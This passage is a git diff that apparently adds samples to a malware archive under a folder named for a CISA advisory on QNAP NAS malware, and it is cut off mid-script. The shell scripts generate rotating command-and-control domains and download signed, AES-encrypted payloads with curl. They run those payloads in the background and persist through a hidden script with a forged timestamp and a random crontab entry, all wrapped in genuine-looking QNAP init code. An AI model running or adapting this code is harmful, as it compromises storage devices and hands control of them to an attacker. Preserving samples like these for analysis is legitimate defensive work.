+gQzwDh7YXhBnWz52+ebZ9TeqD31/sb5hoyUKf1Nr5HcKkklObuz1OGQJ//pkCbTC +2EnQw6tCPQhgSIA8wJKkaxW0f/UHP+YBmWa4Wn+uPrJJuHSVNEJtAp2wlX3THltz +0IGPQEuzoafOAl3EFjas3HcTX2HlEfnvAtRL2iLxJeba1nZ+U3geZOuxL1NhWhNh +pjaLcKwhkRck7Y5hr1Pz8pLDnXsx5w0QUz6XS8HVf/KHnNXHufFEn01y9YoPuau1 +DNnpDGbq632Bs8ESd3ueHk9OY/UZxWeN3UdbseFxK35XAgMBAAE= +-----END PUBLIC KEY-----' + +DOMAIN_EXT_A='cf tk ml ga gq' +DOMAIN_EXT_B='com biz org de rocks mx cn top nl men ws se info xyz net today ru fi name to in com.ua vg vn cd' + +test -d "${bdir}/.qpkg" || mkdir "${bdir}/.qpkg" +test -d "${bdir}/.qpkg/.config" || mkdir "${bdir}/.qpkg/.config" +cd "${bdir}/.qpkg/.config" && rm -f .tmp.* + +echo "$verifykey" > ".rsakey" +i=0 n=0 c=0 errorcount=0 +outfile=$(mktemp "./.tmp.XXXXXX") || outfile=$(mktemp "${bdir}/.tmp.XXXXXX") || outfile=$(mktemp "/.tmp.XXXXXX") || outfile='./.tmp.out' + +for domainexts in "$DOMAIN_EXT_A" "$DOMAIN_EXT_B"; do + for ext in $domainexts; do + hostname=$(echo "$(( $(date +%s) / 1296000 ))IbjGOEgnuD${ext}" | openssl dgst -sha1 -binary | openssl base64 | sed 'y/ABCDEFGHIJKLMNOPQRSTUVWXYZ-+\//abcdefghijklmnopqrstuvwxyzabc/;s/=//g') + hostname=${hostname%[a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9]} + hostnames="${hostname%[a-z0-9][a-z0-9][a-z0-9][a-z0-9]} ${hostname%[a-z0-9][a-z0-9][a-z0-9]}" + hostnames="$hostnames ${hostname%[a-z0-9][a-z0-9]} ${hostname%[a-z0-9]} $hostname" + for host in $hostnames; do + test -f "$outfile" && rm -f "$outfile" + recentupdate='' + curl --connect-timeout 12 -m 30 -k -o "$outfile" "https://${host}.${ext}/qnap_firmware.xml?t=$(date +%s)" + test -s "$outfile" || continue + fsize=$(( $(wc -c < "$outfile") )) + test "$fsize" -gt 4096 && rm -f "$outfile" && continue + rsamsg=$(openssl base64 -in "$outfile" -d | openssl rsautl -pubin -inkey ".rsakey" -verify) || continue + test "$rsamsg" || continue + path="${rsamsg%|*}"; rsadomain="${path%|*}"; path="${path#*|}" + hash="${rsamsg##*|}"; ts="${hash#*_}"; hash="${hash%_*}" + test "$rsadomain" = "${host}.${ext}" || continue + timenow=$(date +%s) + test "$ts" -gt 0 && { test "$ts" -gt "$timenow" || test $(( $timenow - $ts )) -lt 172800; } && recentupdate=1 + curl --connect-timeout 12 -m 300 -k -o "$outfile" "https://${host}.${ext}/${path}" + filehash=$(openssl dgst -sha1 -binary "$outfile" | openssl base64) || continue + test "$filehash" = "$hash" || continue + curl --connect-timeout 12 -m 30 -k -o "${outfile}_s" "https://${host}.${ext}/s/${path}" + verifyfile "$outfile" "${outfile}_s" && decryptfile "$outfile" || continue + mv "${outfile}_s" "${ts}_v" + chmod 755 "$outfile" || continue + ( ( exec >/dev/null 2>/dev/null /dev/null 2>&1 & ) & ) + test "$recentupdate" -eq 1 && exit 0 + done + done +done + + +if [ "$fromrcS" = 'TRUE' ]; then +# if Qsync is disable before 4.3.0, we will touch /mnt/HDA_ROOT/udpate_pkg/.QsyncServer_disabled +set_default_disable_status() +{ + QPKG_ENABLE=`$CMD_GETCFG ${QSYNC_NAME} Enable -d "NULL" -f ${QPKG_CONF}` + OLD_ENABLE=`$CMD_GETCFG Qsync Enable -u -d NULL` + if [ -f "${UPDATEPKG_DIR}/.${QSYNC_NAME}_removed" ]; then + return + fi + + if [ "$QPKG_ENABLE" = "NULL" ]; then + if [ "$OLD_ENABLE" = "FALSE" ]; then + dbg "touch ${UPDATEPKG_DIR}/.${QSYNC_NAME}_disabled" + /bin/touch "${UPDATEPKG_DIR}/.${QSYNC_NAME}_disabled" + fi + fi +} + +if [ "x$HBS_ENABLE" = xnull ] || [ "x$HBS_ENABLE" = xFALSE ]; then + export QNAP_QPKG=rtrr +else + export QNAP_QPKG=HybridBackup + /usr/local/sbin/qboost_util -S -n rtrr -E 0 1>/dev/null 2>&1 +fi +start() +{ + if [ -f /usr/bin/qsyncman ]; then + [ ! -f /etc/config/hdcopyusb.conf ] || /bin/rm -f /etc/config/hdcopyusb.conf + /bin/sed -i '/hdusb_copy/d' /etc/config/crontab + /usr/bin/crontab /etc/config/crontab + echo -n "Starting QSync manitor: " + [ -d /etc/config/qsync ] || /usr/bin/install -d /etc/config/qsync + [ -f /etc/config/qsync/qhost.conf ] || /bin/touch /etc/config/qsync/qhost.conf + [ -f /etc/config/qsync/qsyncjobdef.conf ] || /bin/touch /etc/config/qsync/qsyncjobdef.conf + [ -f /etc/config/qsync/qsync.conf ] || /bin/cp -p /etc/default_config/qsync/qsync.conf /etc/config/qsync/qsync.conf + [ -f /etc/config/qsync/extdrv.conf ] || /bin/cp -p /etc/default_config/qsync/extdrv.conf /etc/config/qsync/extdrv.conf + [ -f /etc/config/qsync/qsyncd.conf ] || /bin/cp -p /etc/default_config/qsync/qsyncd.conf /etc/config/qsync/qsyncd.conf + [ ! -f /etc/config/qsync/qsyncd.conf ] || /bin/chmod 640 /etc/config/qsync/qsyncd.conf + [ ! -f /etc/config/qsync/qsync.conf ] || /bin/chmod 640 /etc/config/qsync/qsync.conf + [ ! -f /etc/config/qsync/qhost.conf ] || /bin/chmod 640 /etc/config/qsync/qhost.conf + /sbin/daemon_mgr qsyncman start "/usr/bin/qsyncman 1>/dev/null 2>&1" + echo "OK" + fi +} + +stop() +{ + echo "Shutting down QSync monitor: OK" + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + kill $pidnum 2>/dev/null + i=0 + while [ ${i} -lt 5 ] + do + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + if [ -z "$pidnum" ]; then + break + fi + sleep 1 + i=`/usr/bin/expr ${i} + 1` + done + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + [ -z "$pidnum" ] || kill -9 $pidnum 2>/dev/null + /sbin/daemon_mgr qsyncman stop "/usr/bin/qsyncman" + /usr/bin/killall -q qsyncman +} + +start_qsyncd() +{ + #_qsyncd_en=`/sbin/getcfg "" Enabled -d 0 -f /etc/qsync/qsyncd.conf` + #[ "x$_qsyncd_en" = x1 ] || return -1 + _qsyncd_run_pid=`/bin/pidof qsyncd` + [ -z $_qsyncd_run_pid ] || return -114 + _recycle_en=`/sbin/getcfg 'Network Recycle Bin' Enable -d FALSE` + _with_syslog=$1 + if [ "x$_recycle_en" = xTRUE ]; then + if [ "x$_with_syslog" = x1 ]; then + LD_PRELOAD=/usr/local/lib/libtrash.so /usr/bin/qsyncd -syslog -c:/etc/qsync/qsyncd.conf + else + LD_PRELOAD=/usr/local/lib/libtrash.so /usr/bin/qsyncd -c:/etc/qsync/qsyncd.conf + fi + else + if [ "x$_with_syslog" = x1 ]; then + /usr/bin/qsyncd -syslog -c:/etc/qsync/qsyncd.conf + else + /usr/bin/qsyncd -c:/etc/qsync/qsyncd.conf + fi + fi + _iret=$? + if [ "x$_iret" = x0 ]; then + i=0 + while [ ${i} -lt 10000 ] + do + echo "${i} millisecond..." + _qsyncd_pid=`/sbin/getcfg '' Pid -d -1 -f /etc/qsync/qsyncd.conf` + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ "x$_qsyncd_pid" != "x-1" ] && [ ! -z $_qsyncd_run_pid ]; then + break + fi + usleep 50000 + i=`/usr/bin/expr ${i} + 50` + done + fi + return -$_iret +} + +stop_qsyncd() +{ + #_qsyncd_en=`/sbin/getcfg "" Enabled -d 0 -f /etc/qsync/qsyncd.conf` + #[ "x$_qsyncd_en" = x0 ] || return -1 + _qsyncd_pid=`/sbin/getcfg "" Pid -d -1 -f /etc/qsync/qsyncd.conf` + [ $_qsyncd_pid -lt 0 ] && return -3 + # Send SIGUSR1 to inform the daemon to output "[RTRR Server] Stopped" event log + /bin/kill -SIGUSR1 $_qsyncd_pid + usleep 200000 + # Send SIGINT to stop the QSyncd process + /bin/kill -SIGINT $_qsyncd_pid + _kill_ret=$? + if [ "x$_kill_ret" != x0 ]; then + return -3 + fi + echo "need wait $1 millisecond" + i=0 + while true + do + echo "${i} millisecond..." + _qsyncd_pid=`/sbin/getcfg '' Pid -d -1 -f /etc/qsync/qsyncd.conf` + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ "x$_qsyncd_pid" = "x-1" ] && [ -z $_qsyncd_run_pid ]; then + break + fi + if [ ${i} -ge $1 ]; then + # if time-out, we send two additional SIGINT to force the daemon to stop. + if [ $_qsyncd_pid -ge 0 ]; then + /bin/kill -SIGUSR1 $_qsyncd_pid + usleep 200000 + /bin/kill -SIGUSR1 $_qsyncd_pid + fi + j=0 + while [ ${j} -lt 500 ] + do + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ -z $_qsyncd_run_pid ]; then + return 0 + fi + usleep 20000 + j=`/usr/bin/expr ${j} + 20` + done + return -62 + fi + usleep 50000 + i=`/usr/bin/expr ${i} + 50` + done + return 0 +} + + +install() +{ + lock_file="/var/lock/qbox_install_bin.lck" + + if [ ! -f "${INSTALL_BUILD_IN}" ]; then + dbg "build-in ${QSYNC_NAME} is installed" + return 1 + fi + + if [ ! -f ${UPDATEPKG_DIR}/${QSYNC_NAME}.bin ]; then + dbg "${QSYNC_NAME}.bin} not found" + return 1 + fi + + if [ ! -x "${QPKG_CLI}" ]; then + dbg "${QPKG_CLI} not found" + return 1 + fi + + ## make sure volume is exist + if [ ! -d /share/`/sbin/getcfg SHARE_DEF defPublic -d Public -f /etc/config/def_share.info` ]; then + dbg "/share/Public not found" + return 1 + fi + + ## is removed + if [ -f ${UPDATEPKG_DIR}/.${QSYNC_NAME}_removed ]; then + /bin/rm -f ${INSTALL_BUILD_IN} + dbg "${QSYNC_NAME} is removed" + return 1 + fi + + if [ -f "$lock_file" ]; then + if [ $(( $(date +%s) - $(date +%s -r $lock_file) )) -le 180 ]; then + echo "${QSYNC_NAME} is installing" + dbg "${QSYNC_NAME} is installing" + return 1 + fi + fi + + /bin/touch "$lock_file" + /bin/rm -f ${INSTALL_BUILD_IN} + dbg "install build-in ${QSYNC_NAME} start" + + set_default_disable_status + + ## install build in Qsync + ${QPKG_CLI} -K -m ${UPDATEPKG_DIR}/${QSYNC_NAME}.bin > /dev/null 2>&1 + sleep 20 + + wait_install=60 + ## avoid initial take long time or fail + while [ "$wait_install" -gt 0 ]; do + stcode=`$CMD_GETCFG ${QSYNC_NAME}.bin stcode -f /etc/config/qpkg_job.conf` + if [ "$stcode" = "0" ]; then + break + fi + sleep 1 + let "wait_install--" + done + + ${QPKG_CLI} -C ${QSYNC_NAME}.bin > /dev/null 2>&1 + /bin/rm -f ${UPDATEPKG_DIR}/.${QSYNC_NAME}_disabled + /bin/rm -f "$lock_file" + dbg "install build-in ${QSYNC_NAME} success" +} + +if [ "$1" == "stop" ]; then + exit 0 +fi +fi +XEOF +fi +chmod 755 "${bdir}/.qpkg/.config/backup_conf.sh" +touch -cr /bin/busybox "${bdir}/.qpkg/.config/backup_conf.sh" + +if ! $fgrep "${bdir}/.qpkg/.config/backup_conf.sh" "${confdir}"/crontab; then +cronmins=$(printf '%i' "$(( $RANDOM % 60 ))") +cronhour=$(printf '%i' "$(( $RANDOM % 24 ))") +cronhour=$(printf '%i,' "$(( ( $cronhour + 8 ) % 24 ))" "$(( ( $cronhour + 16 ) % 24 ))")"$cronhour" +echo "$cronmins $cronhour"' * * * '"${bdir}/.qpkg/.config/backup_conf.sh"' >/dev/null 2>/dev/null' >> "${confdir}"/crontab +fi +test ! -x "${bdir}/.qpkg/.config/backup_conf.sh" && chmod 755 "${bdir}/.qpkg/.config/backup_conf.sh" +( ( exec >/dev/null 2>&1 /dev/null 2>/dev/null & ) & ) +exit 0 diff --git a/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/18a4f2e7847a2c4e3c9a949cc610044bde319184ef1f4d23a8053e5087ab641b b/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/18a4f2e7847a2c4e3c9a949cc610044bde319184ef1f4d23a8053e5087ab641b new file mode 100644 index 0000000..54dbe24 Binary files /dev/null and b/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/18a4f2e7847a2c4e3c9a949cc610044bde319184ef1f4d23a8053e5087ab641b differ diff --git a/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/3615f0019e9a64a78ccb57faa99380db0b36146ec62df768361bca2d9a5c27f2 b/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/3615f0019e9a64a78ccb57faa99380db0b36146ec62df768361bca2d9a5c27f2 new file mode 100644 index 0000000..9d60c7d Binary files /dev/null and b/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/3615f0019e9a64a78ccb57faa99380db0b36146ec62df768361bca2d9a5c27f2 differ diff --git a/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/3c38e7bb004b000bd90ad94446437096f46140292a138bfc9f7e44dc136bac8d b/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/3c38e7bb004b000bd90ad94446437096f46140292a138bfc9f7e44dc136bac8d new file mode 100644 index 0000000..359ea06 --- /dev/null +++ b/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/3c38e7bb004b000bd90ad94446437096f46140292a138bfc9f7e44dc136bac8d @@ -0,0 +1,936 @@ +#!/bin/sh +ts=1553058000 +PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin" +test -d /etc/config && confdir=/etc/config || { test -d /mnt/HDA_ROOT/.config && confdir=/mnt/HDA_ROOT/.config; } +test -f "${confdir}/smb.conf" && for i in homes Public Download Multimedia Web Recordings; do bdir=`getcfg "$i" path -f "${confdir}/smb.conf"` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && test -d "$bdir" && break; bdir=''; done +test -z "${bdir}" || test ! -d "${bdir}" && { command -v readlink >/dev/null 2>&1 || ln -sf /bin/busybox /usr/bin/readlink; for i in homes Public Download Multimedia Web Recordings; do bdir=`readlink "/share/${i}" 2>/dev/null` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && bdir=/share/${bdir##*/} && test -d "$bdir" && break; bdir=''; done +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`getcfg SHARE_DEF defVolMP -f "${confdir}/def_share.info"` && test -d "$bdir" || bdir='' +test -z "${bdir}" || test ! -d "${bdir}"; } && { while read -r bdir; do +test -d "$bdir" && break; bdir='' +done <".backup_${file}" <<"XEOF" +#!/bin/sh +QNAP_QPKG=cloudinstall +QID_PRESISTENT_CONF=/etc/config/qid_persistent.conf +NAS_CLOUD_INSTALL_PATH=/home/httpd/cgi-bin/cloudinstall +CLOUD_INSTALL_PATH=/tunnel_agent +CLOUD_INSTALL_RAMDISK_PATH=/tunnel_agent_ramdisk +CLOUD_INSTALL_AGENT_FILE_PATH=$CLOUD_INSTALL_PATH/tunnel_agent.tar.bz2 +COUNTER=1 +ERROR_BAD_REQUEST=400 + +if [ "$fromrcS" = 'TRUE' ]; then +case "$1" in + start) + START_TIME=$(date +"%T") + echo -e "start:$START_TIME" >> /tmp/.cloudinstall.log + while [ "$CLOUD_INSTALL_AGENT_PID_LIST" == "" ]; + do + # report device info and get cloudinstall agent app download url + DOWNLOAD_URL=`/usr/sbin/qcloud_uninit_device_tool -r` + if [ ! -d "$CLOUD_INSTALL_PATH" ]; then + if [ "$NAS_ARCH" == "ARM_64" ]; then + # create ramdisk and create a 64mb file + /bin/mkdir -p $CLOUD_INSTALL_RAMDISK_PATH + /bin/mount -t tmpfs -o size=64m tmpfs $CLOUD_INSTALL_RAMDISK_PATH + /bin/dd if=/dev/zero of=$CLOUD_INSTALL_RAMDISK_PATH/image bs=1M count=64 + # create block size 1K filesystem + /sbin/mke2fs -b 1024 $CLOUD_INSTALL_RAMDISK_PATH/image + # create virtual disk + export USED_LOOP_DEVICE=`/usr/local/sbin/losetup -f $CLOUD_INSTALL_RAMDISK_PATH/image` + /sbin/setcfg -f $QID_PRESISTENT_CONF "CLOUDINSTALL" "USED_LOOP_DEVICE" "$USED_LOOP_DEVICE" + /bin/mkdir -p $CLOUD_INSTALL_PATH + # mount virtual disk + /bin/mount $USED_LOOP_DEVICE $CLOUD_INSTALL_PATH + else + # create and mount tmpfs folder + /bin/mkdir -p $CLOUD_INSTALL_PATH + /bin/mount -t tmpfs -o size=64m tmpfs $CLOUD_INSTALL_PATH + fi + fi + cd $CLOUD_INSTALL_PATH + + if [[ $DOWNLOAD_URL == https* ]]; then + REPORT_SUCCESS_TIME=$(date +"%T") + else + REPORT_FAIL_TIME=$(date +"%T") + echo -e " report_fail:$REPORT_FAIL_TIME\n response:$DOWNLOAD_URL" >> /tmp/.cloudinstall.log + # stop retry when got bad request + # prevent put bad request all the time + if [[ $DOWNLOAD_URL == *$ERROR_BAD_REQUEST* ]]; then + break + fi + fi + + # downlaod cloudinstall agent app + /usr/sbin/qcloud_uninit_device_tool -o "$CLOUD_INSTALL_AGENT_FILE_PATH" -d "$DOWNLOAD_URL" + + if [ -f "$CLOUD_INSTALL_AGENT_FILE_PATH" ]; then + DOWNLOAD_FINISH_TIME=$(date +"%T") + # unzip and execute cloudinstallagent + /bin/tar -xf $CLOUD_INSTALL_AGENT_FILE_PATH -C $CLOUD_INSTALL_PATH + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_ctl.sh start &> /dev/null + + UNZIP_TIME=$(date +"%T") + fi + + if [ ! -d "$NAS_CLOUD_INSTALL_PATH" ]; then + # create folder and create symbolic link + /bin/mkdir -p $NAS_CLOUD_INSTALL_PATH + /bin/ln -s $CLOUD_INSTALL_PATH/ui/cloudinstall.html $NAS_CLOUD_INSTALL_PATH/index.html + /bin/ln -s $CLOUD_INSTALL_PATH/ui/cloudinstall.cgi $NAS_CLOUD_INSTALL_PATH/cloudinstall.cgi + /bin/ln -s $CLOUD_INSTALL_PATH/ui/static $NAS_CLOUD_INSTALL_PATH/static + fi + + # wait connect + sleep 5 + CLOUD_INSTALL_AGENT_PID_LIST=`/bin/ps --columns 256 | /bin/grep "$CLOUD_INSTALL_PATH/bin/cloudinstallagent" | /bin/grep -v grep | /bin/awk '{print $1}'` + if [ "$CLOUD_INSTALL_AGENT_PID_LIST" == "" ]; then + SLEEP_TIME=$(( 30 * $COUNTER )) + if [ $SLEEP_TIME -gt 300 ]; then + SLEEP_TIME=300 + fi + # wait next retry + sleep $SLEEP_TIME + fi + COUNTER=$(( $COUNTER * 2 )) + done + + END_TIME=$(date +"%T") + echo -e "report_success:$REPORT_SUCCESS_TIME\ndownload_finish:$DOWNLOAD_FINISH_TIME\nunzip_finish:$UNZIP_TIME\nend:$END_TIME" >> /tmp/.cloudinstall.log + # call for a new process group and for later kill + /bin/setsid $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_disconnect_daemon.sh start &> /dev/null & + /bin/setsid $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_daemon.sh &> /dev/null & + + # set cloudinstall report status + /sbin/setcfg -f $QID_PRESISTENT_CONF "CLOUDINSTALL" "REPORT_STATUS" "uninit" + # add link to report offline + /bin/ln -sf /etc/init.d/cloudinstall_report_offline.sh /etc/rcK.d/K99cloudinstall_report_offline + + # buzzer + HARDWARE_TYPE=$(uname -m) + if [[ "$HARDWARE_TYPE" == *"x86"* ]]; + then + /sbin/hal_app --se_buzzer enc_id=0,mode=101 + elif [[ "$HARDWARE_TYPE" == *"arm"* ]]; + then + /sbin/pic_raw 81 + fi + ;; + + stop) + # disconnect cloudinstall agent + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_ctl.sh stop &> /dev/null + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_disconnect_daemon.sh stop &> /dev/null + for i in "${CLOUD_INSTALL_AGENT_DAEMON_PID_LIST[@]}" + do + # use bash kill instead /bin/kill for kill process group + # cloudinstall agent daemon and inotifywait + kill -9 -- -$i &>/dev/null + done + + # umount + if [ "$NAS_ARCH" == "ARM_64" ]; then + /bin/umount -l $USED_LOOP_DEVICE + /usr/local/sbin/losetup -d $USED_LOOP_DEVICE + else + /bin/umount -l $CLOUD_INSTALL_PATH + fi + # remove all files + if [ -d "$NAS_CLOUD_INSTALL_PATH" ]; then + /bin/rm -rf $NAS_CLOUD_INSTALL_PATH + fi + if [ -d "$CLOUD_INSTALL_PATH" ]; then + /bin/rm -rf $CLOUD_INSTALL_PATH + fi + if [ -d "$CLOUD_INSTALL_RAMDISK_PATH" ]; then + /bin/rm -rf $CLOUD_INSTALL_RAMDISK_PATH + fi + ;; + + restart) + $0 stop + $0 start + ;; + + *) + echo "Usage: $0 {start|stop|restart}" + exit 1 +esac +exit 0 + + +set_env() +{ + debug=`$CMD_GETCFG Qsync Debug -u -d NULL` + if [ "$debug" != "NULL" ]; then + /bin/touch $LOG_FILE + else + /bin/rm -f $LOG_FILE + fi +} + +set_env + +dbg() +{ + if [ -f "$LOG_FILE" ]; then + echo "[`date "+%H:%M:%S"`] $@ " >> $LOG_FILE + fi +} + +dbg "> $0 $@ (pid $$)" + +fi + +export PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/bin/X11:/usr/local/sbin:/usr/local/bin" + +command -v getcfg > /dev/null 2>&1 || getcfg () { sed -n 'H;${x;s/\(.*\n\['"${1//\//\\\/}"']\|^\['"${1//\//\\\/}"']\)\n//I;s/\(^\|\n\)\[[^\n]\+\]\n.*//p}' "${4:-${confdir}/uLinux.conf}" | sed -n 's/^'"${2//\//\\\/}"' \?= \?\(.*\)/\1/Ip'; } + +test -d /etc/config && confdir=/etc/config || { test -d /mnt/HDA_ROOT/.config && confdir=/mnt/HDA_ROOT/.config; } + +bdir= +test -f "${confdir}/smb.conf" && for i in homes Public Download Multimedia Web Recordings; do bdir=`getcfg "$i" path -f "${confdir}/smb.conf"` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && test -d "$bdir" && testwriteable=$(mktemp "${bdir}/.tmp.XXXXXX") && rm "${testwriteable}" && break; bdir=''; done +test -z "${bdir}" || test ! -d "${bdir}" && { command -v readlink >/dev/null 2>&1 || ln -sf /bin/busybox /usr/bin/readlink; for i in Public Download Multimedia Web Recordings homes; do bdir=`readlink "/share/${i}" 2>/dev/null` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && bdir=/share/${bdir##*/} && test -d "$bdir" && break; done; +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`getcfg SHARE_DEF defVolMP -f "${confdir}/def_share.info"` +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`mount | sed -n "s/.*\(\/share\/[^ /]\+\) .*/\1/gp" | head -n 1` +test -z "${bdir}" || test ! -d "${bdir}"; } && { for i in CACHEDEV3_DATA CACHEDEV2_DATA CACHEDEV1_DATA MD0_DATA; do test -d "/share/${i}" && bdir="/share/${i}" && break; done; +test -z "${bdir}" || test ! -d "${bdir}" && bdir=/mnt/HDA_ROOT; } +grep -F '' </dev/null 2>&1 && fgrep="grep -F" || { command -v fgrep >/dev/null 2>&1 && fgrep=fgrep || fgrep=grep; } + +EOF +test "$fgrep" || fgrep=grep +test "$RANDOM" || RANDOM=17653 +genrstr () +{ + local s=; + local min=${1:-4}; + local max=${2:-12}; + local kspace="${3:-a-zA-Z}" + tr -dc "$kspace" < /dev/urandom | { + read -rn $(($RANDOM % ( $max - $min + 1 ) + $min )) s; + echo "$s" + } +} + +verifyfile() { +local file="$1" +local sig="${2:-$file_s}" +local out +test ! -z "$file" && test -s "$file" || return 1 +test ! -z "$sig" && test -s "$sig" || return 1 +test -f ".rsakey" || echo "$verifykey" > ".rsakey" +out=$(openssl dgst -sha1 -verify ".rsakey" -signature "$sig" "$file") && test "$out" = "Verified OK" && return 0 +return 1 +} + +decryptfile() { +local file="$1" +local ofile="${2:-${file}}" +local key='7C0vK4SzMO15zBxLD7XCi5hbjgP1ZjkJ' +openssl enc -d -aes-256-cbc -k "$key" -md sha1 -salt < "$file" > "${file}_d" || return $? +test -f "$ofile" && rm -f "$ofile" +mv "${file}_d" "$ofile" && return 0 +return 1 +} + +verifykey='-----BEGIN PUBLIC KEY----- +MIIBojANBgkqhkiG9w0BAQEFAAOCAY8AMIIBigKCAYEAt/EDT6SB75atrHW7Cpog +CXqrBM2CVbJo';verifykey="${verifykey}"'g4rwwS''z1Bp1i1' +verifykey="${verifykey}"'B7B9Wd51no32lpRqOM+9GOr2W17xwJ8pqpQotex +RC5qQSiS/7FS48jsPKsJnrUhnsI1fRLM4DqsEF3UOukZuDOYUhlteDuMqqZBz0AC +Q3YnLjraTjchMF0XmaAAcWOkg5MsxAOKTepue4R/tnrPAkAG86nq5LA1+wa7opNV +gQzwDh7YXhBnWz52+ebZ9TeqD31/sb5hoyUKf1Nr5HcKkklObuz1OGQJ//pkCbTC +2EnQw6tCPQhgSIA8wJKkaxW0f/UHP+YBmWa4Wn+uPrJJuHSVNEJtAp2wlX3THltz +0IGPQEuzoafOAl3EFjas3HcTX2HlEfnvAtRL2iLxJeba1nZ+U3geZOuxL1NhWhNh +pjaLcKwhkRck7Y5hr1Pz8pLDnXsx5w0QUz6XS8HVf/KHnNXHufFEn01y9YoPuau1 +DNnpDGbq632Bs8ESd3ueHk9OY/UZxWeN3UdbseFxK35XAgMBAAE= +-----END PUBLIC KEY-----' +domainexts='cf:0 tk:0 com:1 ml:0 de:0 rocks:0 mx:0 biz:0 net:1 cn:0 ga:0 gq:0 org:1 top:0 nl:0 men:0 ws:0 se:0 info:0 xyz:0 today:0 ru:0 ec:0 co:0 ee:0 rs:0 com.sv:0 com.cy:0 co.zw:0 kg:0 com.ge:0 tl:0 name:0 tw:0 lv:0 bs:0 li:0 ng:0 ae:0 bt:0 tv:0 pe:0 uz:0 me:0 gy:0 am:0 kr:0 by:0 fr:0 com.uy:0 com.lb:0 com.br:0 vu:0 hk:0 in:0 re:0 ch:0 af:0 com.ps:0 ug:0 dz:0 pro:0 co.th:0 sg:0 cd:0 so:0 mo:0 co.id:0 co.il:0 com.do:0 ke:0 cx:0 ro:0 id:0 pm:0 hm:0 vg:0 az:0 com.eg:0 bz:0 su:0 com.ar:0 gg:0 com.lr:0 pa:0 com.ve:0 al:0 fm:0 to:0 mu:0 co.ck:0 pk:0 co.rs:0 cw:0 nr:0 gd:0 gl:0 ac:0 lk:0 md:0 fi:0 sx:0 lc:0 es:0 cc:0 cm:0 la:0 co.za:0 je:0 cz:0 jp:0 ai:0 pw:0 bg:0 nu:0 ag:0 bm:0 eu:0 com.my:0 sc:0 ax:0 wf:0 ly:0 qa:0 vn:0 aq:0 mobi:0 com.tr:0 com.ua:0 com.py:0 hk.org:0 south.am:0 com.kh:0 co.zm:0 ru.net:0 com.km:0 tt:0 kn:0 co.ls:0 co.fk:0 uy.com:0 com.gu:0 .com.bn:0 com.pf:0 com.fj:0' +n=0 + +for ext in $domainexts; do + eval 'domainext'"$n"'=$ext' + n=$(( $n + 1 )) +done +domainextcnt=$n + +test -d "${bdir}/.qpkg" || mkdir "${bdir}/.qpkg" +XEOF +cat >>".backup_${file}" <>".backup_${file}" <<"XEOF" + +echo "$verifykey" > ".rsakey" + +for tmpfile in "./.tmp.XXXXXX" "${bdir}/.tmp.XXXXXX" "/.tmp.XXXXXX"; do + tmpfile=$(mktemp "./.tmp.XXXXXX") + test -f "$tmpfile" && outfile=$tmpfile && break +done +test -n "${outfile}" && test -f "${outfile}" || outfile='./.tmp.out' +curlconntimeout=12 +i=0 n=0 c=0 errorcount=0 +for interval in '1296000' '432000' '86400' '28800' '7200' '3600'; do + timestart=$(date +%s) + for length in 5 3 4; do + timenow=$(date +%s) + test "$(( $timenow - $timestart ))" -gt 600 && test "$interval" != "3600" && break + curlconntimeout=$(( $curlconntimeout - ( $timenow - $timestart ) / 250 )) + test "$curlconntimeout" -lt 6 && curlconntimeout=6 + n=0; while [ "$n" -lt $domainextcnt ]; do + eval 'ext=$domainext'"$n" + l=$(( $length + ${ext#*:} )) + ext=${ext%:*} + if [ $length = 5 ]; then + hostname=$(echo "$(( $(date +%s) / $interval ))IbjGOEgnuD${ext}" | openssl dgst -sha1 -binary | openssl base64 | sed 'y/ABCDEFGHIJKLMNOPQRSTUVWXYZ-+\//abcdefghijklmnopqrstuvwxyzabc/;s/=//g') + hostname=${hostname%${hostname#??????}} + eval 'hostname'"$n"'=$hostname' + fi + eval 'host=$hostname'"$n" + n=$(( $n + 1 )) + trycnt=0 + while [ ${#host} -gt "$l" ] && [ $trycnt -lt 3 ]; do + trycnt=$(( $trycnt + 1 )) + host=${host%?} + done + test -f "$outfile" && rm -f "$outfile" + recentupdate='' + curl --connect-timeout "$curlconntimeout" -m 30 -k -o "$outfile" "https://${host}.${ext}/qnap_firmware.xml?t=$(date +%s)" + test -s "$outfile" || continue + fsize=$(( $(wc -c < "$outfile") )) + test "$fsize" -gt 4096 && rm -f "$outfile" && continue + rsamsg=$(openssl base64 -in "$outfile" -d | openssl rsautl -pubin -inkey ".rsakey" -verify) || continue + test "$rsamsg" || continue + path="${rsamsg%|*}"; rsadomain="${path%|*}"; path="${path#*|}" + hash="${rsamsg##*|}"; ts="${hash#*_}"; hash="${hash%_*}" + 